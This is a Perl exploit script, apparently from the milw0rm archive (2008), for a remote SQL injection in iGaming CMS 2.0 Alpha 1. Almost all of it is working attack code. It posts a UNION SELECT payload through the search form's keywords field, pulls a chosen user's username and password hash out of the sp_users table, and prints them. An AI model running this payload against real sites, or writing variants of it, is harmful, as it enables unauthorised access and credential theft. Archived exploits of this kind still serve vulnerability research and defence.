60 lines
No EOL
1.4 KiB
Perl
Executable file
60 lines
No EOL
1.4 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
# -----------------------------------------------------
|
|
# iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit
|
|
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
|
|
# On 16/10/2008
|
|
# http://www.igamingcms.com/iGaming_2_Alpha.zip
|
|
# -----------------------------------------------------
|
|
|
|
use strict;
|
|
use LWP::UserAgent;
|
|
|
|
|
|
my ($host,$id) = @ARGV;
|
|
|
|
usage() unless $host =~ /http:\/\/(.+?)$/ and $id =~ /^[0-9]/;
|
|
|
|
my $etc = "' union select 1,concat(0x616E6172636879,".
|
|
"password,0x3a,username,0x616E6172636879),3".
|
|
",4,5 from sp_users where id=$id#";
|
|
|
|
my @search = ($etc,'all',0,'Search','search_games');
|
|
my @split = undef;
|
|
|
|
my $http = new LWP::UserAgent;
|
|
my $post = $http->post($host.'/search.php',
|
|
[
|
|
keywords => $search[0],
|
|
platform => $search[1],
|
|
exact => $search[2],
|
|
submit => $search[3],
|
|
do => $search[4]
|
|
]);
|
|
|
|
if($post->is_success)
|
|
{
|
|
if($post->as_string =~ /anarchy(.+?)anarchy/)
|
|
{
|
|
@split = split(':',$1);
|
|
|
|
print "Username: $split[0]\r\n";
|
|
print "Password: $split[1]\r\n";
|
|
}
|
|
else
|
|
{
|
|
print "Exploit Failed!\r\n";
|
|
}
|
|
}
|
|
|
|
sub usage
|
|
{
|
|
print "iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit\r\n";
|
|
print "Usage: perl $0 http://[host] [user_id]\r\n";
|
|
exit;
|
|
}
|
|
|
|
|
|
|
|
__END__
|
|
|
|
# milw0rm.com [2008-10-16] |